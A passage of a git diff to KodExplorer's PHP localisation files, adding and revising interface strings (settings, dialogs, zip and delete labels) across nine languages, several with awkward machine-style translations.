filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Entra", "guest_login" => "ospite Accedi", "username" => "nome utente", @@ -251,6 +254,13 @@ return array( "login_code" => "codici", "need_check_code" => "codice di autenticazione di accesso aperto", "login_rember_password" => "Ricorda password", + "setting_clear_user_recycle" => "Svuotare il cestino per tutti gli utenti", + "setting_clear_cache" => "Svuotare la cache", + "setting_icp" => "Copyright o registrare il numero", + "setting_global_css" => "CSS personalizzato globale", + "setting_global_css_desc" => "Tutte le pagine saranno inserite CSS personalizzato", + "setting_global_html" => "Il codice HTML di statistica", + "setting_global_html_desc" => "Tutte le pagine saranno inseriti in questo codice html paragrafo, il codice può essere posizionato statistiche di terze parti", "us" => "kalcaddle.com", "login_not_null" => "Nome utente e password non può essere vuoto!", "code_error" => "codici di errore", @@ -261,6 +271,7 @@ return array( "permission_edit" => "modificare le autorizzazioni", "no_permission" => "Amministratore ha vietato questo privilegio!", "no_permission_ext" => "Amministratore ha vietato questo tipo di permessi dei file", + "dialog_max" => "massimizzare", "dialog_min" => "ridurre al minimo", "dialog_min_all" => "minimizzare tutto", "dialog_display_all" => "Mostra tutte le finestre", @@ -306,7 +317,7 @@ return array( "past" => "bastone", "clone" => "Creare una copia", "cute" => "cesoia", - "cute_to" => "Tagliare a ...", + "cute_to" => "Sposta in ...", "copy_to" => "Copia in ...", "remove" => "cancellare", "remove_force" => "completamente rimuovere", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "albero di directory di aggiornamento", "manage_folder" => "directory Management", "close_menu" => "Chiudi menù", - "zip" => "compressione zip", - "unzip" => "zip per estrarre ...", + "zip" => "Compresso a ...", + "unzip" => "Per estrarre ...", "unzip_folder" => "Decomprimere in una cartella", "unzip_this" => "Estrarre alla corrente", - "unzip_to" => "Per estrarre", + "unzip_to" => "Per estrarre ...", + "zipview_file_big" => "Il file è troppo grande, e poi estrarre l'operazione di anteprima!", "clipboard" => "vista Appunti", "full_screen" => "schermo intero", "folder_info_item" => "articoli", @@ -344,6 +356,8 @@ return array( "moving" => "operazione mobile ...", "remove_title" => "Elimina Conferma", "remove_info" => "Conferma per eliminare l'elemento selezionato?", + "remove_title_force" => "eliminati definitivamente", + "remove_info_force" => "Sei sicuro di voler cancellare definitivamente questo documento?", "name_isexists" => "Sbagliato, il nome esiste già!", "install" => "installare", "width" => "larghezza", @@ -417,7 +431,7 @@ return array( "download_success" => "Scarica il successo!", "download_error" => "Download non riuscito!", "download_error_create" => "Errore di scrittura!", - "download_error_exists" => "File remoto non esiste!", + "download_error_exists" => "Link al file non riuscita!", "upload_error_null" => "Nessun file!", "upload_error_big" => "dimensione del file supera i limiti del server", "upload_error_move" => "Impossibile spostare il file!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "l'eliminazione di file", "group_role_pathinfo" => "Proprietà file", "group_role_pathmove" => "Spostare (copia / taglia / incolla / trascinamento operazione)", - "group_role_zip" => "compressione zip", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "compressione", + "group_role_unzip" => "Unzip", "group_role_search" => "ricerca", "group_role_filesave" => "Salvare il file da modificare", "group_role_can_upload" => "Caricare e scaricare", diff --git a/config/i18n/ja/main.php b/config/i18n/ja/main.php index 0b604de..1ab328d 100755 --- a/config/i18n/ja/main.php +++ b/config/i18n/ja/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "マンゴークラウド•エクスプローラ", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "マンゴークラウド•エクスプローラ", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "ログイン", "guest_login" => "ゲストログイン", "username" => "ユーザー名", @@ -251,6 +254,13 @@ return array( "login_code" => "コード", "need_check_code" => "ログイン認証コードオープン", "login_rember_password" => "パスワードを覚えておいてください", + "setting_clear_user_recycle" => "すべてのユーザーのごみ箱を空にする", + "setting_clear_cache" => "キャッシュを空に", + "setting_icp" => "著作権やレコード番号", + "setting_global_css" => "カスタムグローバルCSS", + "setting_global_css_desc" => "すべてのページは、カスタムCSSを挿入します", + "setting_global_html" => "統計コードHTML", + "setting_global_html_desc" => "すべてのページは、この段落のhtmlコードに挿入され、コードは、サードパーティの統計を配置することができます", "us" => "kalcaddle.com", "login_not_null" => "ユーザー名とパスワードは空にすることはできません!", "code_error" => "エラーコード", @@ -261,7 +271,8 @@ return array( "permission_edit" => "アクセス権を変更します", "no_permission" => "管理者は、この権限を無効にしています!", "no_permission_ext" => "管理者は、ファイルのアクセス権のこのタイプを禁止しました", - "dialog_min" => "最小限に抑えます", + "dialog_max" => "最大にします", + "dialog_min" => "最小にします", "dialog_min_all" => "すべての最小化", "dialog_display_all" => "すべてのウィンドウを表示します", "dialog_close_all" => "すべて閉じます", @@ -306,7 +317,7 @@ return array( "past" => "スティック", "clone" => "コピーを作成します。", "cute" => "せん断", - "cute_to" => "にカット...", + "cute_to" => "に移動...", "copy_to" => "へのコピー...", "remove" => "削除", "remove_force" => "完全に削除", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "リフレッシュディレクトリツリー", "manage_folder" => "ディレクトリ管理", "close_menu" => "メニューを閉じます", - "zip" => "ZIP圧縮", - "unzip" => "抽出するためのジップ...", + "zip" => "に圧縮...", + "unzip" => "抽出するには...", "unzip_folder" => "フォルダに解凍します", "unzip_this" => "現在に解凍", - "unzip_to" => "抽出するには", + "unzip_to" => "抽出するには...", + "zipview_file_big" => "ファイルが大きすぎて、[プレビュー動作を抽出します!", "clipboard" => "表示クリップボード", "full_screen" => "フルスクリーン", "folder_info_item" => "アイテム", @@ -344,6 +356,8 @@ return array( "moving" => "モバイル操作...", "remove_title" => "削除の確認", "remove_info" => "選択した項目を削除することを確認してください?", + "remove_title_force" => "完全に削除", + "remove_info_force" => "あなたは必ず永久にこの文書を削除したいですか?", "name_isexists" => "間違った、名前がすでに存在しています!", "install" => "インストール", "width" => "幅", @@ -417,7 +431,7 @@ return array( "download_success" => "成功をダウンロード!", "download_error" => "ダウンロードに失敗しました!", "download_error_create" => "エラーを書きます!", - "download_error_exists" => "リモートファイルが存在しません!", + "download_error_exists" => "失敗をファイルへのリンク!", "upload_error_null" => "ファイルいいえ!", "upload_error_big" => "ファイルサイズはサーバーの制限を超えています", "upload_error_move" => "ファイルの移動に失敗しました!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "ファイルの削除", "group_role_pathinfo" => "ファイルのプロパティ", "group_role_pathmove" => "移動(コピー/カット/ペースト/ドラッグ操作)", - "group_role_zip" => "ZIP圧縮", - "group_role_unzip" => "ジップ解凍", + "group_role_zip" => "圧縮", + "group_role_unzip" => "解凍します", "group_role_search" => "検索", "group_role_filesave" => "編集するファイルを保存します", "group_role_can_upload" => "アップロードとダウンロード", diff --git a/config/i18n/ko/main.php b/config/i18n/ko/main.php index 6e4b4a8..7638c23 100755 --- a/config/i18n/ko/main.php +++ b/config/i18n/ko/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "망고 클라우드 • 탐색기", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "망고 클라우드 • 탐색기", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "로그인", "guest_login" => "고객 로그인", "username" => "아이디", @@ -251,6 +254,13 @@ return array( "login_code" => "코드", "need_check_code" => "로그인 인증 코드 열기", "login_rember_password" => "암호를 기억", + "setting_clear_user_recycle" => "모든 사용자의 휴지통 비우기", + "setting_clear_cache" => "캐시 비우기", + "setting_icp" => "저작권 또는 레코드 번호", + "setting_global_css" => "사용자 정의 글로벌 CSS", + "setting_global_css_desc" => "모든 페이지는 사용자 정의 CSS를 삽입합니다", + "setting_global_html" => "통계 코드 HTML", + "setting_global_html_desc" => "모든 페이지가이 단락의 HTML 코드에 삽입됩니다 코드는 타사 통계를 배치 할 수 있습니다", "us" => "kalcaddle.com", "login_not_null" => "사용자 이름과 암호는 비워 둘 수 없습니다!", "code_error" => "오류 코드", @@ -261,6 +271,7 @@ return array( "permission_edit" => "권한 수정", "no_permission" => "관리자는이 권한을 사용할 수 있습니다!", "no_permission_ext" => "관리자는 파일 권한이 유형의 금지", + "dialog_max" => "극대화", "dialog_min" => "최소화", "dialog_min_all" => "모든 최소화", "dialog_display_all" => "모든 창을보기", @@ -306,7 +317,7 @@ return array( "past" => "스틱", "clone" => "복사본 만들기", "cute" => "전단", - "cute_to" => "잘라 내기 ...", + "cute_to" => "로 이동 ...", "copy_to" => "복사에 ...", "remove" => "삭제", "remove_force" => "완전 제거", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "새로 고침 디렉토리 트리", "manage_folder" => "디렉토리 관리", "close_menu" => "닫기 메뉴", - "zip" => "ZIP 압축", - "unzip" => "우편 추출 할 ...", + "zip" => "에 압축 ...", + "unzip" => "압축을 풀려면 ...", "unzip_folder" => "폴더에 압축을 풉니 다", "unzip_this" => "현재로 추출", - "unzip_to" => "추출하려면", + "unzip_to" => "압축을 풀려면 ...", + "zipview_file_big" => "파일이 너무 크고, 다음 미리 연산 추출!", "clipboard" => "보기 클립 보드", "full_screen" => "전체 화면", "folder_info_item" => "항목", @@ -344,6 +356,8 @@ return array( "moving" => "모바일 작업 ...", "remove_title" => "삭제 확인", "remove_info" => "선택한 항목을 삭제 확인?", + "remove_title_force" => "영구적으로 삭제", + "remove_info_force" => "당신은 확실히 영구적이 문서를 삭제 하시겠습니까?", "name_isexists" => "잘못된 이름이 이미 존재합니다!", "install" => "설치", "width" => "폭", @@ -417,7 +431,7 @@ return array( "download_success" => "성공을 다운로드 할 수 있습니다", "download_error" => "다운로드 실패!", "download_error_create" => "쓰기 오류!", - "download_error_exists" => "원격 파일이 존재하지 않습니다!", + "download_error_exists" => "링크 실패 파일에!", "upload_error_null" => "파일이 없습니다!", "upload_error_big" => "파일 크기는 서버 제한을 ​​초과", "upload_error_move" => "파일을 이동하지 못했습니다!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "파일 삭제", "group_role_pathinfo" => "파일 속성", "group_role_pathmove" => "이동 (복사 / 잘라 내기 / 붙여 넣기 / 드래그 조작)", - "group_role_zip" => "ZIP 압축", - "group_role_unzip" => "지퍼 압축 해제", + "group_role_zip" => "압축", + "group_role_unzip" => "압축 해제", "group_role_search" => "수색", "group_role_filesave" => "편집 할 파일을 저장", "group_role_can_upload" => "업로드 및 다운로드", diff --git a/config/i18n/lt/main.php b/config/i18n/lt/main.php index 1faa2ef..d03623b 100755 --- a/config/i18n/lt/main.php +++ b/config/i18n/lt/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "\"Mango\" debesis • Explorer \"", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "\"Mango\" debesis • Explorer \"", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Prisijungti", "guest_login" => "Svečių Registruotis", "username" => "Nick", @@ -251,6 +254,13 @@ return array( "login_code" => "kodai", "need_check_code" => "Vartotojas atpažinimo kodas atvira", "login_rember_password" => "Prisiminti slaptažodį", + "setting_clear_user_recycle" => "Ištuštinkite šiukšlinę visiems vartotojams", + "setting_clear_cache" => "Ištuštinkite talpyklą", + "setting_icp" => "Autorinės teisės arba įrašo numeris", + "setting_global_css" => "Pasirinktinis pasaulinė CSS", + "setting_global_css_desc" => "Visi puslapiai bus įterpti pasirinktinį css", + "setting_global_html" => "Statistiniai kodas HTML", + "setting_global_html_desc" => "Visi puslapiai bus įdėta šioje dalyje html kodas, kodas gali būti trečiųjų šalių statistiką", "us" => "kalcaddle.com", "login_not_null" => "Vartotojo vardas ir slaptažodis negali būti tuščias!", "code_error" => "klaidų kodai", @@ -261,6 +271,7 @@ return array( "permission_edit" => "keisti Permissions", "no_permission" => "Administratorius išjungė šią privilegiją!", "no_permission_ext" => "Administratorius uždraudė šį failo teises tipas", + "dialog_max" => "maksimizuoti", "dialog_min" => "minimizuoti", "dialog_min_all" => "sumažinti visus", "dialog_display_all" => "Rodyti visus langus", @@ -306,7 +317,7 @@ return array( "past" => "lazda", "clone" => "Sukurti kopiją", "cute" => "kirpti", - "cute_to" => "Iškirpti į ...", + "cute_to" => "Perkelti į ...", "copy_to" => "Kopijuoti į ...", "remove" => "panaikinti", "remove_force" => "visiškai pašalinti", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Atnaujinti katalogas medis", "manage_folder" => "Directory \"valdymo", "close_menu" => "Uždaryti meniu", - "zip" => "ZIP suspaudimas", - "unzip" => "ZIP išgauti ...", + "zip" => "Suspausto į ...", + "unzip" => "Norėdami išskleisti ...", "unzip_folder" => "Išpakuokite į katalogą", "unzip_this" => "Ekstrakto į srovės", - "unzip_to" => "Norėdami išskleisti", + "unzip_to" => "Norėdami išskleisti ...", + "zipview_file_big" => "Šis failas yra per didelis, ir tada išrašo peržiūra operacija!", "clipboard" => "Peržiūrėti Mainų", "full_screen" => "Visas Ekranas", "folder_info_item" => "Daiktai", @@ -344,6 +356,8 @@ return array( "moving" => "Mobilus operacija ...", "remove_title" => "Ištrinti patvirtinimas", "remove_info" => "Patvirtinti ištrinti pasirinktą elementą?", + "remove_title_force" => "jos negrįžtamai ištrinami", + "remove_info_force" => "Ar tikrai norite ištrinti šį dokumentą?", "name_isexists" => "Negerai, vardas jau egzistuoja!", "install" => "įrengti", "width" => "plotis", @@ -417,7 +431,7 @@ return array( "download_success" => "Parsisiųsti sėkmės!", "download_error" => "Parsisiųsti Nepavyko!", "download_error_create" => "Parašyti klaida!", - "download_error_exists" => "Nuotolinis failas neegzistuoja!", + "download_error_exists" => "Nuoroda į failą nepavyko!", "upload_error_null" => "Nėra failų!", "upload_error_big" => "Failo dydis viršija serverio ribų", "upload_error_move" => "Nepavyko perkelti failo!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "failo ištrynimas", "group_role_pathinfo" => "failo ypatybės", "group_role_pathmove" => "Perkelti (kopija / sumažinti / pasta / tempimo operacija)", - "group_role_zip" => "ZIP suspaudimas", - "group_role_unzip" => "ZIP išpakuokite", + "group_role_zip" => "suspaudimas", + "group_role_unzip" => "Išpakuokite", "group_role_search" => "paieška", "group_role_filesave" => "Išsaugokite failą redaguoti", "group_role_can_upload" => "Įkelti ir atsisiųsti", diff --git a/config/i18n/nl/main.php b/config/i18n/nl/main.php index 2fa6e74..9e2d4dd 100755 --- a/config/i18n/nl/main.php +++ b/config/i18n/nl/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango cloud • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango cloud • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Log in", "guest_login" => "gast Aanmelden", "username" => "Gebruikersnaam", @@ -251,6 +254,13 @@ return array( "login_code" => "codes", "need_check_code" => "Inloggen authenticatie code geopend", "login_rember_password" => "Onthoud wachtwoord", + "setting_clear_user_recycle" => "Leeg de prullenbak voor alle gebruikers", + "setting_clear_cache" => "De cache leegmaken", + "setting_icp" => "Copyright of record aantal", + "setting_global_css" => "Custom wereldwijde css", + "setting_global_css_desc" => "Alle pagina's zullen aangepaste css invoegen", + "setting_global_html" => "Statistische code HTML", + "setting_global_html_desc" => "Alle pagina's in deze paragraaf html code worden aangebracht, kan de code worden geplaatst statistieken van derden", "us" => "kalcaddle.com", "login_not_null" => "Gebruikersnaam en wachtwoord kan niet leeg zijn!", "code_error" => "foutcodes", @@ -261,6 +271,7 @@ return array( "permission_edit" => "wijzigen Machtigingen", "no_permission" => "Administrator heeft dit privilege uitgeschakeld!", "no_permission_ext" => "Administrator verbood dit type bestand permissies", + "dialog_max" => "maximaliseren", "dialog_min" => "verkleinen", "dialog_min_all" => "Minimaliseer alle", "dialog_display_all" => "Laat alle vensters", @@ -306,7 +317,7 @@ return array( "past" => "stok", "clone" => "Maak een kopie", "cute" => "scheren", - "cute_to" => "Cut naar ...", + "cute_to" => "Verplaatsen naar ...", "copy_to" => "Kopiëren naar ...", "remove" => "Verwijder", "remove_force" => "volledig te verwijderen", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Vernieuwen directory tree", "manage_folder" => "directory-beheer", "close_menu" => "menu sluiten", - "zip" => "zIP-compressie", - "unzip" => "zip te halen ...", + "zip" => "Gecomprimeerd tot ...", + "unzip" => "Om uit te pakken ...", "unzip_folder" => "Unzip naar een map", "unzip_this" => "Extract van de huidige", - "unzip_to" => "om uit te pakken", + "unzip_to" => "Om uit te pakken ...", + "zipview_file_big" => "Het bestand is te groot, en pak vervolgens het voorbeeld operatie!", "clipboard" => "Bekijk Clipboard", "full_screen" => "full Screen", "folder_info_item" => "items", @@ -344,6 +356,8 @@ return array( "moving" => "Mobiel gebruik ...", "remove_title" => "Delete Bevestiging", "remove_info" => "Bevestigen om het geselecteerde item wilt verwijderen?", + "remove_title_force" => "permanent verwijderd", + "remove_info_force" => "Weet u zeker dat u dit document wilt verwijderen?", "name_isexists" => "Fout, de naam bestaat al!", "install" => "installeren", "width" => "breedte", @@ -417,7 +431,7 @@ return array( "download_success" => "Download Succes!", "download_error" => "Download mislukt!", "download_error_create" => "Schrijffout!", - "download_error_exists" => "Remote bestand bestaat niet!", + "download_error_exists" => "Link naar bestand mislukt!", "upload_error_null" => "Geen bestand!", "upload_error_big" => "bestandsgrootte overschrijdt server grenzen", "upload_error_move" => "Verplaatsen bestand mislukt!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "dossierschrapping", "group_role_pathinfo" => "file Properties", "group_role_pathmove" => "Move (copy / cut / paste / slepen operatie)", - "group_role_zip" => "zIP-compressie", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "samendrukking", + "group_role_unzip" => "Unzip", "group_role_search" => "zoeken", "group_role_filesave" => "Sla het bestand te bewerken", "group_role_can_upload" => "Uploaden en downloaden", diff --git a/config/i18n/no/main.php b/config/i18n/no/main.php index 7cfe081..deb1dc9 100755 --- a/config/i18n/no/main.php +++ b/config/i18n/no/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango sky • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango sky • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Logg inn", "guest_login" => "Gjeste Sign", "username" => "Brukernavn", @@ -251,6 +254,13 @@ return array( "login_code" => "koder", "need_check_code" => "Autentiseringskode åpen", "login_rember_password" => "Husk passord", + "setting_clear_user_recycle" => "Tømme papirkurven for alle brukere", + "setting_clear_cache" => "Tømme bufferen", + "setting_icp" => "Copyright eller rekordmange", + "setting_global_css" => "Custom global css", + "setting_global_css_desc" => "Alle sider vil sette custom css", + "setting_global_html" => "Statistiske kode HTML", + "setting_global_html_desc" => "Alle sider vil bli satt inn i dette avsnittet html-kode, kan koden plasseres tredjeparts statistikk", "us" => "kalcaddle.com", "login_not_null" => "Brukernavn og passord kan ikke være tom!", "code_error" => "feil~~POS=TRUNC koder~~POS=HEADCOMP", @@ -261,6 +271,7 @@ return array( "permission_edit" => "endre tillatelser", "no_permission" => "Administrator har deaktivert dette privilegiet!", "no_permission_ext" => "Administrator utestengt denne type filrettigheter", + "dialog_max" => "Maksimer", "dialog_min" => "Minimer", "dialog_min_all" => "Minimer alle", "dialog_display_all" => "Vis alle vinduer", @@ -306,7 +317,7 @@ return array( "past" => "Stick", "clone" => "Lag en kopi", "cute" => "Shear", - "cute_to" => "Kutt til ...", + "cute_to" => "Flytt til ...", "copy_to" => "Kopier til ...", "remove" => "Slett", "remove_force" => "fjerne", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Refresh katalogtreet", "manage_folder" => "Directory Management", "close_menu" => "Lukk meny", - "zip" => "zIP-komprimering", - "unzip" => "zip å trekke ...", + "zip" => "Komprimert til ...", + "unzip" => "Hvis du vil trekke ...", "unzip_folder" => "Filene til en mappe", "unzip_this" => "Pakk til den aktuelle", - "unzip_to" => "å trekke ut", + "unzip_to" => "Hvis du vil trekke ...", + "zipview_file_big" => "Filen er for stor, og deretter trekke forhåndsvisnings drift!", "clipboard" => "Vis utklippstavlen", "full_screen" => "Full Screen", "folder_info_item" => "elementer", @@ -344,6 +356,8 @@ return array( "moving" => "Mobile drift ...", "remove_title" => "Slett bekreftelse", "remove_info" => "Bekreft for å slette det valgte elementet?", + "remove_title_force" => "permanent slettet", + "remove_info_force" => "Du sikker på at du vil slette dette dokumentet permanent?", "name_isexists" => "Feil, finnes allerede navnet!", "install" => "Installer", "width" => "bredde", @@ -417,7 +431,7 @@ return array( "download_success" => "Last ned suksess!", "download_error" => "Last ned feilet!", "download_error_create" => "Skrivefeil!", - "download_error_exists" => "Remote filen finnes ikke!", + "download_error_exists" => "Link til fil mislyktes!", "upload_error_null" => "Ingen fil!", "upload_error_big" => "Filstørrelsen overskrider server grenser", "upload_error_move" => "Kunne ikke flytte filen!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "sletting", "group_role_pathinfo" => "Filegenskaper", "group_role_pathmove" => "Move (kopier / klipp / lim / draoperasjon)", - "group_role_zip" => "zIP-komprimering", - "group_role_unzip" => "zip unzip", + "group_role_zip" => "kompresjon", + "group_role_unzip" => "Unzip", "group_role_search" => "Søk", "group_role_filesave" => "Lagre filen for å redigere", "group_role_can_upload" => "Opplasting og nedlasting", diff --git a/config/i18n/pl/main.php b/config/i18n/pl/main.php index a50ac6c..850e2ba 100755 --- a/config/i18n/pl/main.php +++ b/config/i18n/pl/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango Chmura • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango Chmura • Explorer", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "Zaloguj się", "guest_login" => "Znak gości", "username" => "Nazwa użytkownika", @@ -251,6 +254,13 @@ return array( "login_code" => "kody", "need_check_code" => "Logowanie otwarty kod uwierzytelniający", "login_rember_password" => "Zapamiętaj hasło", + "setting_clear_user_recycle" => "Opróżnianie kosza dla wszystkich użytkowników", + "setting_clear_cache" => "Opróżnij pamięć podręczną", + "setting_icp" => "Praw autorskich lub numer rekordu", + "setting_global_css" => "Niestandardowe globalny css", + "setting_global_css_desc" => "Wszystkie strony spowoduje wstawienie niestandardowej css", + "setting_global_html" => "Kod HTML statystyczne", + "setting_global_html_desc" => "Wszystkie strony zostanie wstawiony w niniejszym ustępie, kod html, kod może być umieszczony statystyki stron trzecich", "us" => "kalcaddle.com", "login_not_null" => "Nazwa użytkownika i hasło nie może być puste!", "code_error" => "kody błędów", @@ -261,6 +271,7 @@ return array( "permission_edit" => "Modyfikacja uprawnień", "no_permission" => "Administrator wyłączył ten przywilej!", "no_permission_ext" => "Administrator zakazano tego typu uprawnienia do plików", + "dialog_max" => "maksymalizacja", "dialog_min" => "zminimalizować", "dialog_min_all" => "Minimalizowanie wszystkich", "dialog_display_all" => "Wyświetl wszystkie okna", @@ -306,7 +317,7 @@ return array( "past" => "kij", "clone" => "Utwórz kopię", "cute" => "ścinanie", - "cute_to" => "Przeniesienie do ...", + "cute_to" => "Przenieś do ...", "copy_to" => "Kopiuj do ...", "remove" => "usunąć", "remove_force" => "całkowicie usunąć", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "Odśwież drzewo katalogów", "manage_folder" => "Zarządzanie katalog", "close_menu" => "Zamknij menu", - "zip" => "kompresja zip", - "unzip" => "zip wyodrębnić ...", + "zip" => "Skompresowany do ...", + "unzip" => "Aby wyodrębnić ...", "unzip_folder" => "Rozpakuj do folderu", "unzip_this" => "Wyciąg z prądem", - "unzip_to" => "aby wyodrębnić", + "unzip_to" => "Aby wyodrębnić ...", + "zipview_file_big" => "Plik jest zbyt duży, a następnie wyodrębnić operacja podgląd!", "clipboard" => "Zobacz Schowek", "full_screen" => "Pełny ekran", "folder_info_item" => "pozycje", @@ -344,6 +356,8 @@ return array( "moving" => "Komórka operacji ...", "remove_title" => "Usuń Potwierdzenie", "remove_info" => "Potwierdź, aby usunąć wybrany element?", + "remove_title_force" => "trwale usunięte", + "remove_info_force" => "Czy na pewno chcesz trwale usunąć ten dokument?", "name_isexists" => "Błędna nazwa już istnieje!", "install" => "zainstalować", "width" => "szerokość", @@ -417,7 +431,7 @@ return array( "download_success" => "Pobierz Sukces!", "download_error" => "Pobieranie nie powiodło się!", "download_error_create" => "Błąd zapisu!", - "download_error_exists" => "Zdalny plik nie istnieje!", + "download_error_exists" => "Odwołują się do nie powiodło się!", "upload_error_null" => "Brak pliku!", "upload_error_big" => "Rozmiar pliku przekracza granice serwera", "upload_error_move" => "Nie można przenieść pliku!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "Usunięcie pliku", "group_role_pathinfo" => "Właściwości pliku", "group_role_pathmove" => "Move (kopiuj / wytnij / wklej / operacja przeciągania)", - "group_role_zip" => "kompresja zip", - "group_role_unzip" => "zip rozpakować", + "group_role_zip" => "kompresja", + "group_role_unzip" => "rozsunąć suwak", "group_role_search" => "poszukiwanie", "group_role_filesave" => "Zapisz plik do edycji", "group_role_can_upload" => "Przesyłanie i pobieranie", diff --git a/config/i18n/pt/main.php b/config/i18n/pt/main.php index f9dbc8a..70d161a 100755 --- a/config/i18n/pt/main.php +++ b/config/i18n/pt/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango nuvem • Explorador", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango nuvem • Explorador", + "kod_meta_name" => "KodExplorer", + "kod_meta_keywords" => "kod,KodExplorer,webos,webIDE,php filemanage,filemanage,芒果云", + "kod_meta_copyright" => "kalcaddle.com", "login" => "log in", "guest_login" => "Convidado Registre", "username" => "Nome de usuário", @@ -251,6 +254,13 @@ return array( "login_code" => "códigos", "need_check_code" => "código de autenticação de login aberto", "login_rember_password" => "Lembrar senha", + "setting_clear_user_recycle" => "Esvaziar a lixeira para todos os usuários", + "setting_clear_cache" => "Empty cache", + "setting_icp" => "Copyright ou registro número", + "setting_global_css" => "css personalizado mundial", + "setting_global_css_desc" => "Todas as páginas irá inserir CSS personalizado", + "setting_global_html" => "HTML código estatístico", + "setting_global_html_desc" => "Todas as páginas serão inseridas neste código html parágrafo, o código pode ser colocado estatísticas de terceiros", "us" => "kalcaddle.com", "login_not_null" => "Nome de utilizador e palavra-passe não pode estar vazio!", "code_error" => "Os códigos de erro", @@ -261,6 +271,7 @@ return array( "permission_edit" => "modificar permissões", "no_permission" => "Administrador desabilitou esse privilégio!", "no_permission_ext" => "Administrador proibiu este tipo de permissões de arquivo", + "dialog_max" => "maximizar", "dialog_min" => "minimizar", "dialog_min_all" => "minimizar tudo", "dialog_display_all" => "Mostrar todas as janelas", @@ -306,7 +317,7 @@ return array( "past" => "vara", "clone" => "Criar uma cópia", "cute" => "tosquiar", - "cute_to" => "Corta para ...", + "cute_to" => "Mover-se para ...", "copy_to" => "Copiar para ...", "remove" => "excluir", "remove_force" => "remover completamente", @@ -328,11 +339,12 @@ return array( "refresh_tree" => "árvore de diretórios de atualização", "manage_folder" => "Gerenciamento de Diretório", "close_menu" => "Fechar o menu", - "zip" => "compressão zip", - "unzip" => "zip para extrair ...", + "zip" => "Comprimido para ...", + "unzip" => "Para extrair ...", "unzip_folder" => "Descompacte para uma pasta", "unzip_this" => "Extrair para o actual", - "unzip_to" => "para extrair", + "unzip_to" => "Para extrair ...", + "zipview_file_big" => "O arquivo é muito grande, e depois extrair a operação de pré-visualização!", "clipboard" => "Ver área de transferência", "full_screen" => "tela cheia", "folder_info_item" => "itens", @@ -344,6 +356,8 @@ return array( "moving" => "operação móvel ...", "remove_title" => "A confirmação da exclusão", "remove_info" => "Confirmar para excluir o item selecionado?", + "remove_title_force" => "excluídos permanentemente", + "remove_info_force" => "Tem certeza de que deseja excluir permanentemente este documento?", "name_isexists" => "Errado, o nome já existe!", "install" => "instalar", "width" => "largura", @@ -417,7 +431,7 @@ return array( "download_success" => "Baixar sucesso!", "download_error" => "Falha no download!", "download_error_create" => "erro de gravação!", - "download_error_exists" => "Arquivo remoto não existe!", + "download_error_exists" => "Link para arquivo falhou!", "upload_error_null" => "No arquivo!", "upload_error_big" => "tamanho do arquivo excede os limites de servidor", "upload_error_move" => "Falha ao mover arquivo!", @@ -515,8 +529,8 @@ return array( "group_role_pathdelete" => "exclusão do arquivo", "group_role_pathinfo" => "Propriedades do arquivo", "group_role_pathmove" => "Move (copiar / cortar / colar / operação de arrastar)", - "group_role_zip" => "compressão zip", - "group_role_unzip" => "unzip zip", + "group_role_zip" => "compressão", + "group_role_unzip" => "Descompacte", "group_role_search" => "pesquisa", "group_role_filesave" => "Salve o arquivo para editar", "group_role_can_upload" => "Upload e download", diff --git a/config/i18n/ro/main.php b/config/i18n/ro/main.php index eed7961..e293ba6 100755 --- a/config/i18n/ro/main.php +++ b/config/i18n/ro/main.php @@ -244,6 +244,9 @@ return array( "kod_name_desc" => "Mango nor • Explorer", "kod_power_by" => " - Powered by KodExplorer", "kod_name_copyright" => "Mango nor • Explorer", + "kod_meta_name" => "KodExplorer", + 